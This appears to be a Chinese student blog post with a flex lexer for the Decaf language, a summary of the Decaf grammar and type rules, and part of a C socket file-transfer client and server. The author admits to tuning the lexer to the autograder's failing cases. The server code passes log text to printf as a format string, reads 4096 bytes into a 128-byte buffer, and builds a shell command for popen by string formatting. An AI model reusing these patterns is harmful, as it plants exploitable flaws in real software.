. { cerr << "Error: unexpected character in input" << endl; return -1; }

%%

int main () {
int token,key=0;
string lexeme;

while ((token = yylex())) {
if (token > 0) {
lexeme.assign(yytext);
if(token < sizeof(node_map)/sizeof(char*)){
if(token == T_WHITESPACE2){
if(key == 1){
cout << "T_WHITESPACE \\n\\n" << endl;
key = 2;
}
else if(key == 0){
key = 1;
}
}
else if(token == T_WHITESPACE){
if(key == 1){
cout << "T_WHITESPACE \\n" << lexeme << endl;
key = 0;
}
else if(key == 2){
cout << lexeme << endl;
key = 0;
}
else{
cout << "T_WHITESPACE " << lexeme << endl;
key = 0;
}
}
else{
if(key == 2){
key = 0;
}
if(key == 1){
cout << "T_WHITESPACE \\n" << endl;
key = 0;
}
cout << node_map[token] << " " << lexeme << endl;
}
}
else{
exit(EXIT_FAILURE);
}
} else {
if (token < 0) {
exit(EXIT_FAILURE);
}
}
}
if(key == 1){
cout << "T_WHITESPACE \\n" << endl;
key = 0;
}
exit(EXIT_SUCCESS);
}
  • 由于原实验的检查机制过于严格,我为了提高分数而做了不少特殊处理(这导致了代码的可读性下降,但大体上的功能是实现了的)
  • 改来改去还是发现不理想,最终得分如下:
1
2
3
Correct(dev): 30 / 59
Score(dev): 30.00
Total Score: 30.00

大体上遇到如下的问题:

  • 除了莫名其妙的 \n 和空格会干扰结果以外,报错处理的问题还没有解决
  • 字符串处理也没有到位,特别是带有 \ 的字符串
  • 程序要求错误的语义直接输出 -1,但我的程序是一边检查一边打印数据的,要想直接输出 -1 就必须提前把数据存储在缓冲区中

最后对着那几个错误的案例进行修改,写了个满分的分析器

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
%{

#include <iostream>
#include <cstdlib>
#include <fstream>
#include <iostream>

using namespace std;

const char *node_map[]={
"T_AND" ,
"T_ASSIGN" ,
"T_BOOLTYPE" ,
"T_BREAK" ,
"T_CHARCONSTANT" ,
"T_COMMA" ,
"T_COMMENT" ,
"T_CONTINUE" ,
"T_DIV" ,
"T_DOT" ,
"T_ELSE" ,
"T_EQ" ,
"T_EXTERN" ,
"T_FALSE" ,
"T_FOR" ,
"T_FUNC" ,
"T_GEQ" ,
"T_GT" ,
"T_ID" ,
"T_IF" ,
"T_INTCONSTANT" ,
"T_INTTYPE" ,
"T_LCB" ,
"T_LEFTSHIFT" ,
"T_LEQ" ,
"T_LPAREN" ,
"T_LSB" ,
"T_LT" ,
"T_MINUS" ,
"T_MOD" ,
"T_MULT" ,
"T_NEQ" ,
"T_NOT" ,
"T_NULL" ,
"T_OR" ,
"T_PACKAGE" ,
"T_PLUS" ,
"T_RCB" ,
"T_RETURN" ,
"T_RIGHTSHIFT" ,
"T_RPAREN" ,
"T_RSB" ,
"T_SEMICOLON" ,
"T_STRINGCONSTANT" ,
"T_STRINGTYPE" ,
"T_TRUE" ,
"T_VAR" ,
"T_VOID" ,
"T_WHILE" ,
"T_WHITESPACE" ,
"T_WHITESPACE \\n"
};

enum node_kind
{
T_AND ,
T_ASSIGN ,
T_BOOLTYPE ,
T_BREAK ,
T_CHARCONSTANT ,
T_COMMA ,
T_COMMENT ,
T_CONTINUE ,
T_DIV ,
T_DOT ,
T_ELSE ,
T_EQ ,
T_EXTERN ,
T_FALSE ,
T_FOR ,
T_FUNC ,
T_GEQ ,
T_GT ,
T_ID ,
T_IF ,
T_INTCONSTANT ,
T_INTTYPE ,
T_LCB ,
T_LEFTSHIFT ,
T_LEQ ,
T_LPAREN ,
T_LSB ,
T_LT ,
T_MINUS ,
T_MOD ,
T_MULT ,
T_NEQ ,
T_NOT ,
T_NULL ,
T_OR ,
T_PACKAGE ,
T_PLUS ,
T_RCB ,
T_RETURN ,
T_RIGHTSHIFT ,
T_RPAREN ,
T_RSB ,
T_SEMICOLON ,
T_STRINGCONSTANT ,
T_STRINGTYPE ,
T_TRUE ,
T_VAR ,
T_VOID ,
T_WHILE ,
T_WHITESPACE ,
T_WHITESPACE2
};

%}

all_char \'([\x20-\x26\x28-\x2e\x30-\x5b\x5d-\x7e]|\\n|\\r|\\t|\\v|\\f|\\a|\\b|\\\\|\\'|\\\")\'
all_str \"([\x20-\x21\x23-\x2e\x30-\x5b\x5d-\x7e]*(\\n|\\r|\\t|\\v|\\f|\\a|\\b|\\'|\\\"|\\\\)*)+\"

decimal_num [0-9]+
hex_num 0(x|X)[0-9a-fA-F]+

normal_id [a-zA-Z\_][a-zA-Z\_0-9]*

%%
/*
Pattern definitions for all tokens
*/

"&&" { return T_AND; }
"=" { return T_ASSIGN; }
"bool" { return T_BOOLTYPE; }
"break" { return T_BREAK; }
{all_char} { return T_CHARCONSTANT; }
{all_str} { return T_STRINGCONSTANT; }
"," { return T_COMMA; }
\/\/(.*?)\n { return T_COMMENT; }
"continue" { return T_CONTINUE; }
"/" { return T_DIV; }
"." { return T_DOT; }
"else" { return T_ELSE; }
"==" { return T_EQ; }
"extern" { return T_EXTERN; }
"false" { return T_FALSE; }
"for" { return T_FOR; }
"func" { return T_FUNC; }
">=" { return T_GEQ; }
">" { return T_GT; }
"if" { return T_IF; }
{decimal_num}|{hex_num} { return T_INTCONSTANT; }
"int" { return T_INTTYPE; }
"{" { return T_LCB; }
"<<" { return T_LEFTSHIFT; }
"<=" { return T_LEQ; }
"(" { return T_LPAREN; }
"[" { return T_LSB; }
"<" { return T_LT; }
"-" { return T_MINUS; }
"%" { return T_MOD; }
"*" { return T_MULT; }
"!=" { return T_NEQ; }
"!" { return T_NOT; }
"null" { return T_NULL; }
"||" { return T_OR; }
"package" { return T_PACKAGE; }
"+" { return T_PLUS; }
"}" { return T_RCB; }
"return" { return T_RETURN; }
">>" { return T_RIGHTSHIFT; }
")" { return T_RPAREN; }
"]" { return T_RSB; }
";" { return T_SEMICOLON; }
"string" { return T_STRINGTYPE; }
"true" { return T_TRUE; }
"var" { return T_VAR; }
"void" { return T_VOID; }
"while" { return T_WHILE; }
[\t\r\a\v\b ]+ { return T_WHITESPACE; }
[\n]+[\t\ ]* { return T_WHITESPACE2; }
{normal_id} { return T_ID; }
. { cerr << "Error: unexpected character in input" << endl; return -1; }

%%

int main () {
int token;
string line;
string lexeme;

ofstream fin;
fin.open("1");

while ((token = yylex())) {
if (token >= 0) {
lexeme.assign(yytext);
if(token < sizeof(node_map)/sizeof(char*)){
if(token == T_WHITESPACE2){
fin << "T_WHITESPACE ";
for(auto &c : lexeme){
if(c == '\n'){
fin << "\\n";
}
else{
fin << c;
}
}
fin << endl;
}
else if(token == T_COMMENT){
fin << "T_COMMENT ";
for(auto &c : lexeme){
if(c == '\n'){
fin << "\\n";
}
else{
fin << c;
}
}
fin << endl;
}
else{
fin << node_map[token] << " " << lexeme << endl;
}
}
else{
cout << 1 << endl;
exit(EXIT_FAILURE);
}
} else {
cout << 1 << endl;
exit(EXIT_FAILURE);
}
}

fstream fout("1",ios::in|ios::out);
while(getline(fout,line)){
cout << line << endl;
}

exit(EXIT_SUCCESS);
}

实验结果:

1
2
3
Correct(dev): 59 / 59
Score(dev): 59.00
Total Score: 59.00

Decaf 是一种强类型的类 C 语言,功能集与通常作为成熟编程语言的一部分相比大幅缩减(这样做是为了保持编程分配易于管理)

下面是一个 Decaf 的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
extern func print_int(int) void;

package GreatestCommonDivisor {
var a int = 10;
var b int = 20;

func main() int {
var x, y, z int;
x = a;
y = b;
z = gcd(x, y);

// print_int is part of the standard input-output library
print_int(z);
}

// function that computes the greatest common divisor
func gcd(a int, b int) int {
if (b == 0) { return(a); }
else { return( gcd(b, a % b) ); }
}
}

语法是使用 EBNF(扩展巴科斯范式)指定的:

1
2
3
4
5
6
7
8
9
Production  = production_name "=" [ Expression ] "." . /* 定义 */
Expression = Alternative { "|" Alternative } . /* 表达 */
Alternative = Term { Term } . /* 选择 */
Term = production_name | token [ "..." token ] | Group | Option | Repetition | Repetition+ | CommaList . /* 术语 */
Group = "(" Expression ")" . /* 分组 */
Option = "[" Expression "]" . /* 可选 */
Repetition = "{" Expression "}" . /* 重复 */
Repetition+ = "{" Expression "}+" .
CommaList = "{" Expression "}+," .

Production 是由 Term 和以下运算符构造的表达式,优先级越来越高:

1
2
3
4
5
6
|    alternation
() grouping
[] option (0 or 1 Expression)
{} repetition (0 to n Expressions)
{}+ repetition (1 to n Expressions)
{}+, comma list (1 to n Expressions comma separated, e.g. x, y, z)

Decaf 源代码编码为 ASCII 文本,大写和小写字符被视为不同的字符

1
2
3
4
letter        = "A" ... "Z" | "a" ... "z" | "_" . /* 字母 */
decimal_digit = "0" ... "9" . /* 10进制数字 */
hex_digit = "0" ... "9" | "A" ... "F" | "a" ... "f" . /* 16进制数字 */
digit = "0" ... "9" . /* 数字 */

以下关键字是保留的,不能用作标识符:

1
2
3
bool    break   continue  else   extern  false   
for func if int null package
return string true var void while

以下字符序列表示运算符(请参阅下面的运算符部分)和分隔符:

1
2
3
{  }   [   ]   ,   ;   (   )  =  
- ! + * / << >> < >
% <= >= == != && || .

Decaf 有四种类型:void,布尔,整数和字符串

  • 字符串类型只能与外部函数一起使用(这里的 “外部函数” 指的是程序内定义的函数,或者用 C 实现的 Decaf 标准库函数)
  • void 类型仅用于函数的返回类型 MethodType,不用于变量声明 Type
1
2
3
ExternType = ( string | Type ) .
Type = ( int | bool ) .
MethodType = ( void | Type ) .

Decaf 有2种数组:整数,布尔数组

1
ArrayType = "[" int_lit "]" Type .

Decaf 程序可以访问链接的外部函数(例如:用 C 实现的 Decaf 标准库函数),以及作为外部函数从 Decaf 程序内部访问的函数(目前,只允许声明外部函数,无法声明外部数据)

1
2
Externs    = { ExternDefn } .
ExternDefn = extern func identifier "(" [ { ExternType }+, ] ")" MethodType ";" .

Decaf 具有全局变量,其范围仅限于其包,出现在任何方法声明之前

Decaf 中的全局变量称为字段声明,它们可以是没有初始化的简单声明(假定编译器初始化为零),也可以使用常量赋值来声明非数组变量,变量始终使用保留字 var 定义

1
2
3
4
FieldDecls = { FieldDecl } .
FieldDecl = var { identifier }+, Type ";" . /* 简单变量(未初始化) */
FieldDecl = var { identifier }+, ArrayType ";" . /* 数组变量 */
FieldDecl = var identifier Type "=" Constant ";" . /* 简单变量(初始化) */

Decaf 中的函数或方法以保留字 func 开头,然后是方法的名称,括号中是参数列表,后跟方法的返回类型

1
2
MethodDecls = { MethodDecl } .
MethodDecl = func identifier "(" [ { identifier Type }+, ] ")" MethodType Block .

Decaf 的块有两个部分,一个用于局部变量定义,一个用于语句

1
Block = "{" VarDecls Statements "}" .

Decaf 的语句有如下几种:

  • 赋值语句
1
2
3
Statement = Assign ";" .
Assign = Lvalue "=" Expr .
Lvalue = identifier | identifier "[" Expr "]" . /* 变量 | 数组[表达式] */
  • 函数调用
1
2
3
Statement  = MethodCall ";" .
MethodCall = identifier "(" [ { MethodArg }+, ] ")" .
MethodArg = Expr | string_lit .
  • IF-ELSE 语句
1
Statement = if "(" Expr ")" Block [ else Block ] .
  • WHILE 语句
1
Statement =  while "(" Expr ")" Block .
  • FOR 语句
1
Statement = for "(" { Assign }+, ";" Expr ";" { Assign }+, ")" Block .
  • RETURN 语句
1
Statement = return [ "(" [ Expr ] ")" ] ";" .
  • BREAK 语句
1
Statement = break ";" .
  • CONTINUE 语句
1
Statement = continue ";" .

Decaf 表达式中的基本值是操作数,也可以是各种表达式的组合

1
2
3
Expr = identifier .
Expr = MethodCall .
Expr = Constant .
1
2
3
4
5
6
7
BinaryOperator = ( ArithmeticOperator | BooleanOperator ) .
ArithmeticOperator = ( "+" | "-" | "*" | "/" | "<<" | ">>" | "%" ) .
BooleanOperator = ( "==" | "!=" | "<" | "<=" | ">" | ">=" | "&&" | "||" ) .

Expr = Expr BinaryOperator Expr . /* 二元运算符 */
Expr = UnaryOperator Expr . /* 一元运算符 */
Expr = "(" Expr ")" .

Decaf 中只有两个一元运算符:一个用于逻辑否定,另一个用于算术表达式的负数

1
2
3
UnaryOperator = ( UnaryNot | UnaryMinus ) .
UnaryNot = "!" .
UnaryMinus = "-" .

Decaf 二元运算符分为布尔二元运算符和算术二元运算符

1
2
3
BinaryOperator = ( ArithmeticOperator | BooleanOperator ) .
ArithmeticOperator = ( "+" | "-" | "*" | "/" | "<<" | ">>" | "%" ) .
BooleanOperator = ( "==" | "!=" | "<" | "<=" | ">" | ">=" | "&&" | "||" ) .

一元运算符 UnaryMinus 具有最高优先级,优先级定义如下:

  • UnaryMinus
  • UnaryNot
  • * / % << >>
  • + -
  • == != < <= > >=
  • &&
  • ||

Decaf 的 token 表列如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
T_AND            &&
T_ASSIGN =
T_BOOLTYPE bool
T_BREAK break
T_CHARCONSTANT char_lit (see section on Character literals)
T_COMMA ,
T_COMMENT comment
T_CONTINUE continue
T_DIV /
T_DOT .
T_ELSE else
T_EQ ==
T_EXTERN extern
T_FALSE false
T_FOR for
T_FUNC func
T_GEQ >=
T_GT >
T_ID identifier (see section on Identifiers)
T_IF if
T_INTCONSTANT int_lit (see section on Integer literals)
T_INTTYPE int
T_LCB {
T_LEFTSHIFT <<
T_LEQ <=
T_LPAREN (
T_LSB [
T_LT <
T_MINUS -
T_MOD %
T_MULT *
T_NEQ !=
T_NOT !
T_NULL null
T_OR ||
T_PACKAGE package
T_PLUS +
T_RCB }
T_RETURN return
T_RIGHTSHIFT >>
T_RPAREN )
T_RSB ]
T_SEMICOLON ;
T_STRINGCONSTANT string_lit (see section on String literals)
T_STRINGTYPE string
T_TRUE true
T_VAR var
T_VOID void
T_WHILE while
T_WHITESPACE whitespace (see section on Whitespace)

Decaf 的规则表如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Program = Externs package identifier "{" FieldDecls MethodDecls "}" .
Externs = { ExternDefn } .
ExternDefn = extern func identifier "(" [ { ExternType }+, ] ")" MethodType ";" .
FieldDecls = { FieldDecl } .
FieldDecl = var { identifier }+, Type ";" .
FieldDecl = var { identifier }+, ArrayType ";" .
FieldDecl = var identifier Type "=" Constant ";" .
MethodDecls = { MethodDecl } .
MethodDecl = func identifier "(" [ { identifier Type }+, ] ")" MethodType Block .
Block = "{" VarDecls Statements "}" .
VarDecls = { VarDecl } .
VarDecl = var { identifier }+, Type ";" .
Statements = { Statement } .
Statement = Block .
Statement = Assign ";" .
Assign = Lvalue "=" Expr .
Lvalue = identifier | identifier "[" Expr "]" .
Statement = MethodCall ";" .
MethodCall = identifier "(" [ { MethodArg }+, ] ")" .
MethodArg = Expr | string_lit .
Statement = if "(" Expr ")" Block [ else Block ] .
Statement = while "(" Expr ")" Block .
Statement = for "(" { Assign }+, ";" Expr ";" { Assign }+, ")" Block .
Statement = return [ "(" [ Expr ] ")" ] ";" .
Statement = break ";" .
Statement = continue ";" .
Expr = identifier .
Expr = MethodCall .
Expr = Constant .
UnaryOperator = ( UnaryNot | UnaryMinus ) .
UnaryNot = "!" .
UnaryMinus = "-" .
BinaryOperator = ( ArithmeticOperator | BooleanOperator ) .
ArithmeticOperator = ( "+" | "-" | "*" | "/" | "<<" | ">>" | "%" ) .
BooleanOperator = ( "==" | "!=" | "<" | "<=" | ">" | ">=" | "&&" | "||" ) .
Expr = Expr BinaryOperator Expr .
Expr = UnaryOperator Expr .
Expr = "(" Expr ")" .
Expr = identifier "[" Expr "]" .
ExternType = ( string | Type ) .
Type = ( int | bool ) .
MethodType = ( void | Type ) .
BoolConstant = ( true | false ) .
ArrayType = "[" int_lit "]" Type .
Constant = ( int_lit | char_lit | BoolConstant ) .

确保在 Decaf 编译器中实现以下类型检查:

  • 二元和一元 + - * / % >> << < > <= >= 仅适用于整数表达式
  • 二元和一元 && || ! 仅适用于布尔表达式
  • 二元 == != 适用于任何类型,但两个操作数必须具有相同的类型
  • 对函数参数的赋值是有效的,应该像局部变量一样更改值
  • && || 和运算符短路(这已经在规范中指定)
  • 如果一个块中有多个 return 语句,则只使用第一个语句,但其他语句仍应进行类型检查
  • 为标量编制索引是一个语义错误:{ var x int; x[0] = 1;}
  • 使用布尔值编制索引是一个语义错误:func main() int { var x int; x = xs[true];}
  • 对循环条件使用非布尔表达式是一个语义错误:{ while (1) {} }
  • 在 IF 语句条件中使用非布尔表达式是语义错误:{ if (0) {} }
  • 在具有 void 返回类型的函数中不允许使用带有表达式的 return 语句:func foo() void { return (1); }
  • 在非 void 函数中没有表达式的 return 语句会生成默认返回值
  • 不能在表达式中使用 void 函数:func foo() void {} func main() int { if (foo()) {} }
  • 不能调用参数数错误的函数
  • 查找变量类型的定义与分配给该变量的值之间存在类型不匹配的所有情况
  • 查找表达式格式正确的所有情况,其中二进制和一元运算符与关系运算符和相等运算符区分开来
  • 在将变量用作 decaf 程序中的左值或右值之前,请检查所有变量是否在正确的范围内定义
  • 检查方法中的 return 语句是否与方法定义中的返回类型匹配:func foo() bool{return(10);}

基础信息

为了完成工程实践项目写的测试程序

目前已经完成了:目录切换,日志文件,MD5文件验证

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<netinet/in.h>
#include "md5.h"

#define MAXLINE 4096
#define PORT 2345

char rev[0x1000];
unsigned char digest[16] = {0};
MD5_CTX context;

void showProgress(int size, int len){
if(size == 0){
size = 1;
}
if(len == 0){
len = 1;
}

for(int i=0;i<0x42;i++){
printf("\b");
}
printf("[");
for(int i=0;i<0x40;i++){
if(i <= (len*0x40/size)){
printf("#");
}
else if(i > (len*0x40/size)){
printf("-");
}
}
printf("]");
}

void doPull(char* filename, int sockfd, int size){
int n,len,i;
char rev[0x1000];
FILE* fp;
fp = fopen(filename,"w");
len = 0;
while(1){
memset(rev,0,sizeof(rev));
n = recv(sockfd, rev, sizeof(rev), 0);
if(n < 0){
break;
}
fwrite(rev, 1, n, fp);
len += sizeof(rev);
showProgress(size/0x1000,len/0x1000);
}
printf("\n");
fflush(fp);
fclose(fp);
}

void doPush(char* filename, int sockfd){
int n,i,size,len,key;
char sed[0x1000];
char rev[0x80];
char temp[0x80];
struct stat st;
char* data;
FILE* fp;

sprintf(sed,"./%s",filename);
if(stat(sed,&st)<0){
printf("File %s not find\n",filename);
if(send(sockfd, "File not find", 13, 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
return;
}
else{
printf("Find the flie %s\n",filename);
strcpy(sed,"Try to upload the flie");
if(send(sockfd, "Try to upload the flie", 22, 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}

fp = fopen(filename,"r");
size = st.st_size;
len = 0;
data = (char*)malloc(size);

if(fp){
memset(sed,0,sizeof(sed));
while(1){
for(i = 0;i<sizeof(sed);i++){
n = fread(&sed[i], 1, 1, fp);
if(n == 0){
break;
}
}
send(sockfd, sed, i, 0);
len += sizeof(sed);
showProgress(size/0x1000,len/0x1000);
if(n == 0){
break;
}
}
}
printf("\n");

MD5Update(&context, data, size);
MD5Final(&context, digest);
printf("md5: ");
for(i = 0; i < 16; i++){
printf("%02x", digest[i]);
sprintf(temp,"%s%02x", temp, digest[i]);
}
printf("\n");

sleep(1);
if(recv(sockfd, rev, sizeof(rev), 0) < 0) {
printf("Something error\n");
}

if(!strcmp(temp, rev)){
printf("The file has been uploaded without data errors\n");
strcpy(sed,"File md5 success");
if(send(sockfd, sed, sizeof(sed), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}
else{
printf("The uploaded file has data errors\n");
strcpy(sed,"File md5 error");
if(send(sockfd, sed, sizeof(sed), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
}

free(data);
fflush(fp);
fclose(fp);
}

int main(int argc, char** argv)
{
int sockfd, n, size;
char cmd[0x100], temp[0x80], filename[0x40];
struct sockaddr_in servaddr;
struct sockaddr_in clieaddr;

if(argc != 2){
printf("usage: ./client <ipaddress>\n");
exit(0);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("create socket error: %s(errno: %d)\n", strerror(errno),errno);
exit(0);
}
memset(&servaddr, 0, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(6666);

struct timeval tv_out;
tv_out.tv_sec = 1;
tv_out.tv_usec = 0;
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv_out, sizeof(tv_out));

if(inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){
printf("inet_pton error for %s\n",argv[1]);
exit(0);
}
if(connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0){
printf("connect error: %s(errno: %d)\n",strerror(errno),errno);
exit(0);
}
else{
printf("connect success: %s\n",argv[1]);
}
memset(&clieaddr, 0, sizeof(clieaddr));
clieaddr.sin_family = AF_INET;
clieaddr.sin_port = htons(PORT);
clieaddr.sin_addr.s_addr = htons(INADDR_ANY);

MD5Init(&context);

while(1){
write(1,"$ ",0x2);
n = read(0,cmd,0x100);
cmd[n-1] = '\0';
if(strlen(cmd) == 0){
continue;
}
if(send(sockfd, cmd, strlen(cmd), 0) < 0) {
printf("send msg error: %s(errno: %d)\n", strerror(errno), errno);
exit(0);
}
memset(rev,0,sizeof(rev));
if(recv(sockfd, rev, sizeof(rev), 0) < 0) {
continue;
}
write(1,rev,strlen(rev));
if(!strcmp("The connection has been closed\n",rev)){
puts("Client closed");
break;
}
else if(!strncmp("Start download file: ",rev,20)){
strcpy(filename,&rev[21]);
strtok(filename,"-");
size = atoi(strtok(NULL,"-"));
printf("Target file: %s(%d)\n",filename,size);
doPull(filename,sockfd,size);
printf("The file has been downloaded\n");
}
else if(!strncmp("Try to upload file: ",rev,19)){
strcpy(filename,&rev[20]);
filename[strlen(filename)-1] = 0;
printf("Target file: %s\n",filename);
doPush(filename,sockfd);
}
}

close(sockfd);
exit(0);
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<unistd.h>
#include<arpa/inet.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<netinet/in.h>
#include<dirent.h>
#include<pthread.h>
#include<time.h>
#include<signal.h>
#include "md5.h"

#define MAXLINE 4096
#define PORT 6666
#define LISTENQ 1024

MD5_CTX context;
unsigned char digest[16] = {0};

struct info {
pthread_t tidp;
int sockfd;
struct sockaddr_in clieaddr;
};

struct info *clieinfos[0x20];
char rootdir[0x80];
char current[0x80];
char logMsg[0x100];
FILE* lfp;

enum CMD{LS,PULL,PUSH,CD,PWD,HELP,EXIT,NUL};

int printLog(char * msg){
printf(msg);
fprintf(lfp,msg);
}

int getTime(char *buf){
char YMD[15] = {0};
char HMS[10] = {0};
time_t current_time;
struct tm* now_time;
char *cur_time = (char *)malloc(0x20);

time(&current_time);
now_time = localtime(&current_time);

strftime(YMD, sizeof(YMD), "%F ", now_time);
strftime(HMS, sizeof(HMS), "%T", now_time);

memset(cur_time,0,sizeof(cur_time));
strncat(cur_time, YMD, 11);
strncat(cur_time, HMS, 8);
strcpy(buf,cur_time);

free(cur_time);
}

long getFileSize(FILE *stream)
{
long file_size = -1;
long cur_offset = ftell(stream);
if (cur_offset == -1) {
sprintf(logMsg,"ftell failed :%s\n", strerror(errno));
printLog(logMsg);
return -1;
}
if (fseek(stream, 0, SEEK_END) != 0) {
sprintf(logMsg,"fseek failed: %s\n", strerror(errno));
printLog(logMsg);
return -1;
}
file_size = ftell(stream);
if (file_size == -1) {
sprintf(logMsg,"ftell failed :%s\n", strerror(errno));
printLog(logMsg);
}
if (fseek(stream, cur_offset, SEEK_SET) != 0) {
sprintf(logMsg,"fseek failed: %s\n", strerror(errno));
printLog(logMsg);
return -1;
}
return file_size;
}

int cmdChange(char* buf){
if(!strncmp("ls",buf,2) || !strncmp("LS",buf,2)){
return LS;
}else if(!strncmp("pull",buf,4) || !strncmp("PULL",buf,4)){
return PULL;
}else if(!strncmp("push",buf,4) || !strncmp("PUSH",buf,4)){
return PUSH;
}else if(!strncmp("cd",buf,2) || !strncmp("CD",buf,2)){
return CD;
}else if(!strncmp("pwd",buf,3) || !strncmp("PWD",buf,3)){
return PWD;
}else if(!strncmp("help",buf,4) || !strncmp("HELP",buf,4)){
return HELP;
}else if(!strncmp("exit",buf,4) || !strncmp("EXIT",buf,4)){
return EXIT;
}else{
return NUL;
}
}

int cmdHander(int index){
int n,i,cmd,size;
int connfd;
FILE* fp;
char buf[0x80], info[0x1000], temp[0xa0], time[0x20], dir[0x80];
char* filename;
char* dirname;
char* dirpart;
char* data;
struct stat st;
struct sockaddr_in clieaddr;

connfd = clieinfos[index]->sockfd;
memcpy(&clieaddr, &clieinfos[index]->clieaddr,sizeof(clieaddr));
getTime(time);
sprintf(logMsg,"connect time: %s\n", time);
printLog(logMsg);

while(1){
memset(buf,0,sizeof(buf));
memset(info,0,sizeof(info));
memset(temp,0,sizeof(temp));
if((n = recv(connfd, buf, MAXLINE, 0)) < 0){
continue;
}
buf[n] = '\0';
sprintf(logMsg,"client cmd:%s\n", buf);
printLog(logMsg);
cmd = cmdChange(buf);

switch(cmd){
case LS:
sprintf(temp,"ls %s -l",current);
fp = popen(temp,"r");
if(fp == NULL){
sprintf(logMsg,"popen error\n");
printLog(logMsg);
}
while(fgets(temp, sizeof(temp), fp) > 0){
strcat(info,temp);
}
if(strlen(info) == 0){
sprintf(info,"(null)\n");
}
